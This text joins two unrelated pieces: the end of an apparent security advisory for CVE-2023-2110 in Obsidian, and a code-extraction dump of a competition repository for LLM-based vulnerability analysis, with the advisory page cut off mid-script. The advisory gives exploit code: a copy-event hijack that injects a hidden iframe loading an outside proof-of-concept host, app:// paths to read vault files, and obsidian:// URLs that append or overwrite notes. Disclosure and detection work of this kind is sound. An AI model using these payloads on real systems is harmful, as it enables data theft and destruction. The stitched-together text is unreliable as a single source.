</span></span><span class="line"><span class="cl"> <span class="nb">document</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s1">'copy'</span><span class="p">,</span><span class="nx">e</span><span class="p">=>{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">e</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">payload</span> <span class="o">=</span> <span class="sb">`<img src=")<iframe style='display:none' src='https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc1.html'></iframe>);</span>
</span></span><span class="line"><span class="cl"> <span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="p"></</span><span class="nt">script</span><span class="p">></span>
</span></span></code></pre></div><p>When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into Obsidian.</p>
<p><em>Note: A live version of copy-and-paste PoC can be found <a href="https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/cp.html">here</a>.</em></p>
<p><img loading="lazy" src="/advisories/23/images/CVE-2023-2110_05-copy-and-paste.gif" alt="" />
</p>
<h3 id="additional-notes">Additional Notes:<a hidden class="anchor" aria-hidden="true" href="#additional-notes">#</a></h3>
<ol>
<li>
<p>It is possible to add <code>style="display:none"</code> attribute to the iframe to make the exploit invisible.</p>
</li>
<li>
<p>An attacker can get a list of recently opened vaults from:</p>
<ul>
<li><code>app://local/proc/self/cwd/.config/obsidian/obsidian.json</code> on Linux, or</li>
<li><code>app://local/..%252f..%252fRoaming%2fObsidian%2fobsidian.json</code> on Windows</li>
</ul>
<p>Then get a file list of each vault from <code>app://local/PATH-TO-VAULT/.obsidian/workspace.json</code>, and finally reads every file in the vault. In another word, an attacker can exploit this vulnerability to leak most of the contents in the victim’s vaults.</p>
<p><em>An example of such exploit can be found at <code>https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc2.html</code></em></p>
</li>
<li>
<p>Once the attacker obtained vault id from <code>obsidian.json</code>, it is possible to append arbitrary content to existing markdown files via <code>obsidian://new</code>.</p>
<p>For example, executing <code>location = 'obsidian://new?file=Untitled.md&vault=56cc6ab7be5a53d5&append=1&content=appended-content'</code> will add “appended-content” at the end of <code>Untitled.md</code> in the specified vault. This would make this vulnerability wormable, as the attacker is able to append the same payload invisibly to the victim’s other markdown files.</p>
<p>It is also possible for attacker to purge the files via the <code>overwrite</code> param: <code>location = 'obsidian://new?file=Untitled.md&vault=56cc6ab7be5a53d5&overwrite=1&content=REMOVED'</code>. This will seriously compromise the integrity of the user’s data.</p>
</li>
</ol>
<h2 id="suggested-mitigations">Suggested Mitigations:<a hidden class="anchor" aria-hidden="true" href="#suggested-mitigations">#</a></h2>
<p>Prohibit http(s) webpages from accessing <code>app://</code> resources. It is also recommended to limit the local resources to be loaded only from the current vault directory.</p>
<p>For end users who are using the versions affected by this vulnerability, it is suggested that (1) any untrusted markdown file or canvas file should not be opened in Obsidian, and (2) copying text from an untrusted webpage then pasting it into Obsidian should be avoided.</p>
<h2 id="detection-guidance">Detection Guidance:<a hidden class="anchor" aria-hidden="true" href="#detection-guidance">#</a></h2>
<p>It is possible to detect the exploitation of this vulnerability by checking the presence of <code>iframe</code> tags loading suspicious URLs in markdown files.</p>
<h2 id="credits">Credits:<a hidden class="anchor" aria-hidden="true" href="#credits">#</a></h2>
<p>Li Jiantao (<a href="https://twitter.com/CurseRed">@CurseRed</a>) of STAR Labs SG Pte. Ltd. (<a href="https://twitter.com/starlabs_sg">@starlabs_sg</a>)</p>
<h2 id="timeline">Timeline:<a hidden class="anchor" aria-hidden="true" href="#timeline">#</a></h2>
<ul>
<li>2023-04-28 Vendor Disclosure</li>
<li>2023-05-03 Vendor Patch Release</li>
<li>2023-08-19 Public Release</li>
</ul>
</div>
<footer class="post-footer">
<ul class="post-tags">
</ul>
<nav class="paginav">
<a class="prev" href="https://starlabs.sg/advisories/23/23-38625/">
<span class="title">« Prev</span>
<br>
<span>(CVE-2023-38625) Trend Micro Apex Central 2019 (<= Build 6394) Authenticated SSRF</span>
</a>
<a class="next" href="https://starlabs.sg/advisories/23/23-2316/">
<span class="title">Next »</span>
<br>
<span>(CVE-2023-2316) Typora Local File Disclosure</span>
</a>
</nav>
</footer>
</article>
</main>
<footer class="footer">
<span>© 2024 <a href="https://starlabs.sg/">STAR Labs</a></span>
<span>
Powered by
<a href="https://gohugo.io/" rel="noopener noreferrer" target="_blank">Hugo</a> &
<a href="https://git.io/hugopapermod" rel="noopener" target="_blank">PaperMod</a>
</span>
</footer>
<a href="#top" aria-label="go to top" title="Go to Top (Alt + G)" class="top-link" id="top-link" accesskey="g">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentColor">
<path d="M12 6H0l6-6z" />
</svg>
</a>
<script>
let menu = document.getElementById('menu')
if (menu) {
menu.scrollLeft = localStorage.getItem("menu-scroll-position");
menu.onscroll = function () {
localStorage.setItem("menu-scroll-position", menu.scrollLeft);
}
}
document.querySelectorAll('a[href^="#"]').forEach(anchor => {
anchor.addEventListener("click", function (e) {
e.preventDefault();
var id = this.getAttribute("href").substr(1);
if (!window.matchMedia('(prefers-reduced-motion: reduce)').matches) {
document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView({
behavior: "smooth"
});
} else {
document.querySelector(`[id='${decodeURICompon
gitextract_r6et4_lx/
├── README.md
├── task1_source_code/
│ ├── appendix.py
│ ├── pic_expand.py
│ ├── test.py
│ └── test_examples/
│ ├── 200
│ ├── 201
│ ├── 202
│ ├── 203
│ ├── 250.txt
│ └── 251.txt
└── task2_source_code/
├── final_version/
│ ├── Splitting_function_C2.py
│ ├── Splitting_function_CC.py
│ ├── Splitting_function_go.py
│ ├── Splitting_function_java.py
│ ├── Splitting_function_php.py
│ ├── Splitting_function_py.py
│ ├── Splitting_jsp.py
│ ├── arbitrary.py
│ ├── bof_memory.py
│ ├── bypass.py
│ ├── command_memory.py
│ ├── int_overflow.py
│ ├── others_memory.py
│ └── test.py
└── first_version/
├── Splitting_function_C2.py
├── Splitting_function_CC.py
├── Splitting_function_go.py
├── Splitting_function_java.py
├── Splitting_function_php.py
├── Splitting_function_py.py
├── Splitting_jsp.py
├── arbitrary.py
├── bof.py
├── bypass.py
├── command.py
├── int_overflow.py
├── others.py
└── test.py
SYMBOL INDEX (101 symbols across 31 files) FILE: task1_source_code/appendix.py function extract_text_from_html (line 82) | def extract_text_from_html(html_file_path): function read_words_from_file (line 132) | def read_words_from_file(file_path, num_words): function llm_api_test (line 150) | def llm_api_test(prompt): function func (line 170) | def func(input, output): FILE: task1_source_code/pic_expand.py function extract_text_from_html (line 7) | def extract_text_from_html(html_file_path): FILE: task1_source_code/test.py function get_tokenizer (line 142) | def get_tokenizer(model_name='gpt-3.5-turbo'): function tokenize (line 147) | def tokenize(text, tokenizer=None): function split_prompt (line 155) | def split_prompt(prompt, max_tokens, tokenizer=None): function extract_text_from_html (line 172) | def extract_text_from_html(html_file_path): function check_output_regex (line 209) | def check_output_regex(output): function llm_api_test_former (line 216) | def llm_api_test_former(prompt): function llm_api_test_later (line 257) | def llm_api_test_later(prompt): function former_once (line 296) | def former_once(result_string): function later_once (line 307) | def later_once(result_string): function vote_ask (line 327) | def vote_ask(input, output): FILE: task2_source_code/final_version/Splitting_function_C2.py function extract_c_functions_with_stack (line 5) | def extract_c_functions_with_stack(file_path): function save_functions_to_files (line 62) | def save_functions_to_files(functions, file_name, output_dir): function process_c_files (line 78) | def process_c_files(input_dir): FILE: task2_source_code/final_version/Splitting_function_CC.py function extract_c_functions_with_stack (line 5) | def extract_c_functions_with_stack(file_path): function save_functions_to_files (line 62) | def save_functions_to_files(functions, file_name, output_dir): function process_c_files (line 78) | def process_c_files(input_dir): FILE: task2_source_code/final_version/Splitting_function_go.py function extract_functions_with_receivers (line 4) | def extract_functions_with_receivers(input_directory): FILE: task2_source_code/final_version/Splitting_function_java.py function extract_java_functions_with_stack (line 4) | def extract_java_functions_with_stack(file_path): function save_functions_to_files (line 47) | def save_functions_to_files(functions, file_name, output_dir): function process_java_files (line 63) | def process_java_files(input_dir): FILE: task2_source_code/final_version/Splitting_function_php.py function extract_php_functions_with_context (line 4) | def extract_php_functions_with_context(file_path): function save_functions_to_files (line 67) | def save_functions_to_files(functions, result_dir): function process_php_file (line 81) | def process_php_file(file_path): function process_php_files_in_directory (line 97) | def process_php_files_in_directory(directory): FILE: task2_source_code/final_version/Splitting_function_py.py function extract_functions_from_file (line 4) | def extract_functions_from_file(file_path): function save_functions_to_files (line 33) | def save_functions_to_files(functions, output_dir): function process_python (line 54) | def process_python(input_dir): FILE: task2_source_code/final_version/Splitting_jsp.py function split_jsp_files (line 3) | def split_jsp_files(directory, max_chars=14000): FILE: task2_source_code/final_version/arbitrary.py function check_output_regex (line 56) | def check_output_regex(output): function llm_api_step2 (line 63) | def llm_api_step2(prompt_code, key_env, base_env): function check_arbitrary (line 107) | def check_arbitrary(prompt_code, key_env, base_env): FILE: task2_source_code/final_version/bof_memory.py function check_output_regex (line 250) | def check_output_regex(output): function llm_api_step2 (line 257) | def llm_api_step2(prompt_code, key_env, base_env): function check_bof (line 303) | def check_bof(prompt_code, key_env, base_env): FILE: task2_source_code/final_version/bypass.py function check_output_regex (line 63) | def check_output_regex(output): function llm_api_step2 (line 70) | def llm_api_step2(prompt_code, key_env, base_env): function check_bypass (line 114) | def check_bypass(prompt_code, key_env, base_env): FILE: task2_source_code/final_version/command_memory.py function check_output_regex (line 197) | def check_output_regex(output): function llm_api_step2 (line 204) | def llm_api_step2(prompt_code, key_env, base_env): function check_command (line 252) | def check_command(prompt_code, key_env, base_env): FILE: task2_source_code/final_version/int_overflow.py function check_output_regex (line 62) | def check_output_regex(output): function llm_api_step2 (line 69) | def llm_api_step2(prompt_code, key_env, base_env): function check_int_overflow (line 113) | def check_int_overflow(prompt_code, key_env, base_env): FILE: task2_source_code/final_version/others_memory.py function check_output_regex (line 351) | def check_output_regex(output): function llm_api_step2 (line 358) | def llm_api_step2(prompt_code, key_env, base_env): function check_others (line 404) | def check_others(prompt_code, key_env, base_env): FILE: task2_source_code/final_version/test.py function llm_api_step1 (line 120) | def llm_api_step1(prompt, slice_lang, slice_vul): function split_files (line 163) | def split_files(subdir_path, ext): function run_step1_considering_timeout (line 181) | def run_step1_considering_timeout(file_content, slice_lang, slice_vul): function check_and_write (line 193) | def check_and_write(file_path,target1,target2,highest_score,second_highe... function run_step2 (line 206) | def run_step2(slice_vul,file_content, total_file_content): function step_by_step (line 244) | def step_by_step(type, subdir_path, answer_dir): function search_data_dir (line 372) | def search_data_dir(data_dir, answer_dir): FILE: task2_source_code/first_version/Splitting_function_C2.py function extract_c_functions_with_stack (line 5) | def extract_c_functions_with_stack(file_path): function save_functions_to_files (line 62) | def save_functions_to_files(functions, file_name, output_dir): function process_c_files (line 78) | def process_c_files(input_dir): FILE: task2_source_code/first_version/Splitting_function_CC.py function extract_c_functions_with_stack (line 5) | def extract_c_functions_with_stack(file_path): function save_functions_to_files (line 62) | def save_functions_to_files(functions, file_name, output_dir): function process_c_files (line 78) | def process_c_files(input_dir): FILE: task2_source_code/first_version/Splitting_function_go.py function extract_functions_with_receivers (line 4) | def extract_functions_with_receivers(input_directory): FILE: task2_source_code/first_version/Splitting_function_java.py function extract_java_functions_with_stack (line 4) | def extract_java_functions_with_stack(file_path): function save_functions_to_files (line 47) | def save_functions_to_files(functions, file_name, output_dir): function process_java_files (line 63) | def process_java_files(input_dir): FILE: task2_source_code/first_version/Splitting_function_php.py function extract_php_functions_with_context (line 4) | def extract_php_functions_with_context(file_path): function save_functions_to_files (line 67) | def save_functions_to_files(functions, result_dir): function process_php_file (line 81) | def process_php_file(file_path): function process_php_files_in_directory (line 97) | def process_php_files_in_directory(directory): FILE: task2_source_code/first_version/Splitting_function_py.py function extract_functions_from_file (line 4) | def extract_functions_from_file(file_path): function save_functions_to_files (line 33) | def save_functions_to_files(functions, output_dir): function process_python (line 54) | def process_python(input_dir): FILE: task2_source_code/first_version/Splitting_jsp.py function split_jsp_files (line 3) | def split_jsp_files(directory, max_chars=14000): FILE: task2_source_code/first_version/arbitrary.py function check_output_regex (line 56) | def check_output_regex(output): function llm_api_step2 (line 63) | def llm_api_step2(prompt_code, key_env, base_env): function check_arbitrary (line 107) | def check_arbitrary(prompt_code, key_env, base_env): FILE: task2_source_code/first_version/bof.py function check_output_regex (line 84) | def check_output_regex(output): function llm_api_step2 (line 91) | def llm_api_step2(prompt_code, key_env, base_env): function check_bof (line 135) | def check_bof(prompt_code, key_env, base_env): FILE: task2_source_code/first_version/bypass.py function check_output_regex (line 63) | def check_output_regex(output): function llm_api_step2 (line 70) | def llm_api_step2(prompt_code, key_env, base_env): function check_bypass (line 114) | def check_bypass(prompt_code, key_env, base_env): FILE: task2_source_code/first_version/command.py function check_output_regex (line 55) | def check_output_regex(output): function llm_api_step2 (line 62) | def llm_api_step2(prompt_code, key_env, base_env): function check_command (line 106) | def check_command(prompt_code, key_env, base_env): FILE: task2_source_code/first_version/int_overflow.py function check_output_regex (line 61) | def check_output_regex(output): function llm_api_step2 (line 68) | def llm_api_step2(prompt_code, key_env, base_env): function check_int_overflow (line 112) | def check_int_overflow(prompt_code, key_env, base_env): FILE: task2_source_code/first_version/others.py function check_output_regex (line 54) | def check_output_regex(output): function llm_api_step2 (line 61) | def llm_api_step2(prompt_code, key_env, base_env): function check_others (line 105) | def check_others(prompt_code, key_env, base_env): FILE: task2_source_code/first_version/test.py function llm_api_step1 (line 120) | def llm_api_step1(prompt, slice_lang, slice_vul): function split_files (line 163) | def split_files(subdir_path, ext): function run_step1_considering_timeout (line 181) | def run_step1_considering_timeout(file_content, slice_lang, slice_vul): function check_and_write (line 193) | def check_and_write(file_path,target1,target2,highest_score,second_highe... function run_step2 (line 206) | def run_step2(slice_vul,file_content, total_file_content): function step_by_step (line 244) | def step_by_step(type, subdir_path, answer_dir): function search_data_dir (line 372) | def search_data_dir(data_dir, answer_dir):
Condensed preview — 38 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (485K chars).
[
{
"path": "README.md",
"chars": 2232,
"preview": "# datacon24_vuln_wp\nhttps://www.datacon.org.cn/competition/competitions/91/introduction\n\n该项目基于datacon比赛2024年漏洞分析赛道冠军战队08"
},
{
"path": "task1_source_code/appendix.py",
"chars": 9659,
"preview": "#!/usr/local/bin/python3\n#赛题一的额外维度目标分析,包括版本、POC提取等\nimport requests\nfrom langchain_openai import ChatOpenAI\nfrom langchai"
},
{
"path": "task1_source_code/pic_expand.py",
"chars": 2308,
"preview": "#赛题一的扩展功能,扩展了从html网页文件中直接提取图片的能力\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nfrom urllib.parse import urljoin\r\nfrom"
},
{
"path": "task1_source_code/test.py",
"chars": 23706,
"preview": "#!/usr/local/bin/python3\nimport requests\nfrom langchain_openai import ChatOpenAI\nfrom langchain_core.messages import Hum"
},
{
"path": "task1_source_code/test_examples/200",
"chars": 1,
"preview": "\n"
},
{
"path": "task1_source_code/test_examples/201",
"chars": 60887,
"preview": "\r\n<!DOCTYPE html>\r\n<html lang=\"en\" dir=\"auto\">\r\n\r\n<head><meta charset=\"utf-8\">\r\n<meta http-equiv=\"X-UA-Compatible\" conte"
},
{
"path": "task1_source_code/test_examples/202",
"chars": 50903,
"preview": "\r\n<!DOCTYPE html>\r\n<html lang=\"en\" dir=\"auto\">\r\n\r\n<head><meta charset=\"utf-8\">\r\n<meta http-equiv=\"X-UA-Compatible\" conte"
},
{
"path": "task1_source_code/test_examples/203",
"chars": 49935,
"preview": "\r\n<!DOCTYPE html>\r\n<html lang=\"en\" dir=\"auto\">\r\n\r\n<head><meta charset=\"utf-8\">\r\n<meta http-equiv=\"X-UA-Compatible\" conte"
},
{
"path": "task1_source_code/test_examples/250.txt",
"chars": 41579,
"preview": "\r\n<!DOCTYPE html>\r\n<html lang=\"en\" dir=\"auto\">\r\n\r\n<head><meta charset=\"utf-8\">\r\n<meta http-equiv=\"X-UA-Compatible\" conte"
},
{
"path": "task1_source_code/test_examples/251.txt",
"chars": 30197,
"preview": "\r\n<!DOCTYPE html>\r\n<html lang=\"en\" dir=\"auto\">\r\n\r\n<head><meta charset=\"utf-8\">\r\n<meta http-equiv=\"X-UA-Compatible\" conte"
},
{
"path": "task2_source_code/final_version/Splitting_function_C2.py",
"chars": 3225,
"preview": "import os\r\nimport re\r\n\r\n\r\ndef extract_c_functions_with_stack(file_path):\r\n \"\"\"\r\n Extract all functions from a C/C+"
},
{
"path": "task2_source_code/final_version/Splitting_function_CC.py",
"chars": 3535,
"preview": "import os\r\nimport re\r\n\r\n\r\ndef extract_c_functions_with_stack(file_path):\r\n \"\"\"\r\n Extract all functions from a C/C+"
},
{
"path": "task2_source_code/final_version/Splitting_function_go.py",
"chars": 2060,
"preview": "import os\r\nimport re\r\n\r\ndef extract_functions_with_receivers(input_directory):\r\n out_funtions=[]\r\n # 获取指定目录下的所有 .g"
},
{
"path": "task2_source_code/final_version/Splitting_function_java.py",
"chars": 2792,
"preview": "import os\r\n\r\n\r\ndef extract_java_functions_with_stack(file_path):\r\n \"\"\"\r\n Extract all functions from a Java file us"
},
{
"path": "task2_source_code/final_version/Splitting_function_php.py",
"chars": 3249,
"preview": "import os\r\nimport re\r\n\r\ndef extract_php_functions_with_context(file_path):\r\n \"\"\"\r\n 使用栈从PHP文件中提取函数定义,支持类上下文信息\r\n "
},
{
"path": "task2_source_code/final_version/Splitting_function_py.py",
"chars": 2763,
"preview": "import os\r\nimport ast\r\n\r\ndef extract_functions_from_file(file_path):\r\n \"\"\"\r\n Extract all functions from a single P"
},
{
"path": "task2_source_code/final_version/Splitting_jsp.py",
"chars": 1344,
"preview": "import os\r\n\r\ndef split_jsp_files(directory, max_chars=14000):\r\n functions=[]\r\n \"\"\"\r\n Splits .jsp files in the s"
},
{
"path": "task2_source_code/final_version/arbitrary.py",
"chars": 5362,
"preview": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, Sys"
},
{
"path": "task2_source_code/final_version/bof_memory.py",
"chars": 11088,
"preview": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, Sys"
},
{
"path": "task2_source_code/final_version/bypass.py",
"chars": 6330,
"preview": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, Sys"
},
{
"path": "task2_source_code/final_version/command_memory.py",
"chars": 12095,
"preview": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, Sys"
},
{
"path": "task2_source_code/final_version/int_overflow.py",
"chars": 6214,
"preview": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, Sys"
},
{
"path": "task2_source_code/final_version/others_memory.py",
"chars": 20012,
"preview": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, Sys"
},
{
"path": "task2_source_code/final_version/test.py",
"chars": 18167,
"preview": "#!/usr/local/bin/python3\nfrom langchain_openai import ChatOpenAI\nfrom langchain_core.messages import HumanMessage, Syste"
},
{
"path": "task2_source_code/first_version/Splitting_function_C2.py",
"chars": 3225,
"preview": "import os\r\nimport re\r\n\r\n\r\ndef extract_c_functions_with_stack(file_path):\r\n \"\"\"\r\n Extract all functions from a C/C+"
},
{
"path": "task2_source_code/first_version/Splitting_function_CC.py",
"chars": 3534,
"preview": "import os\r\nimport re\r\n\r\n\r\ndef extract_c_functions_with_stack(file_path):\r\n \"\"\"\r\n Extract all functions from a C/C+"
},
{
"path": "task2_source_code/first_version/Splitting_function_go.py",
"chars": 2060,
"preview": "import os\r\nimport re\r\n\r\ndef extract_functions_with_receivers(input_directory):\r\n out_funtions=[]\r\n # 获取指定目录下的所有 .g"
},
{
"path": "task2_source_code/first_version/Splitting_function_java.py",
"chars": 2792,
"preview": "import os\r\n\r\n\r\ndef extract_java_functions_with_stack(file_path):\r\n \"\"\"\r\n Extract all functions from a Java file us"
},
{
"path": "task2_source_code/first_version/Splitting_function_php.py",
"chars": 3249,
"preview": "import os\r\nimport re\r\n\r\ndef extract_php_functions_with_context(file_path):\r\n \"\"\"\r\n 使用栈从PHP文件中提取函数定义,支持类上下文信息\r\n "
},
{
"path": "task2_source_code/first_version/Splitting_function_py.py",
"chars": 2763,
"preview": "import os\r\nimport ast\r\n\r\ndef extract_functions_from_file(file_path):\r\n \"\"\"\r\n Extract all functions from a single P"
},
{
"path": "task2_source_code/first_version/Splitting_jsp.py",
"chars": 1344,
"preview": "import os\r\n\r\ndef split_jsp_files(directory, max_chars=14000):\r\n functions=[]\r\n \"\"\"\r\n Splits .jsp files in the s"
},
{
"path": "task2_source_code/first_version/arbitrary.py",
"chars": 5361,
"preview": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, Sys"
},
{
"path": "task2_source_code/first_version/bof.py",
"chars": 10891,
"preview": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, Sys"
},
{
"path": "task2_source_code/first_version/bypass.py",
"chars": 6329,
"preview": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, Sys"
},
{
"path": "task2_source_code/first_version/command.py",
"chars": 5686,
"preview": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, Sys"
},
{
"path": "task2_source_code/first_version/int_overflow.py",
"chars": 6011,
"preview": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, Sys"
},
{
"path": "task2_source_code/first_version/others.py",
"chars": 6912,
"preview": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, Sys"
},
{
"path": "task2_source_code/first_version/test.py",
"chars": 18167,
"preview": "#!/usr/local/bin/python3\nfrom langchain_openai import ChatOpenAI\nfrom langchain_core.messages import HumanMessage, Syste"
}
]
About this extraction
This page contains the full source code of the 123f321/datacon24_vuln_wp GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 38 files (437.5 KB), approximately 120.3k tokens, and a symbol index with 101 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.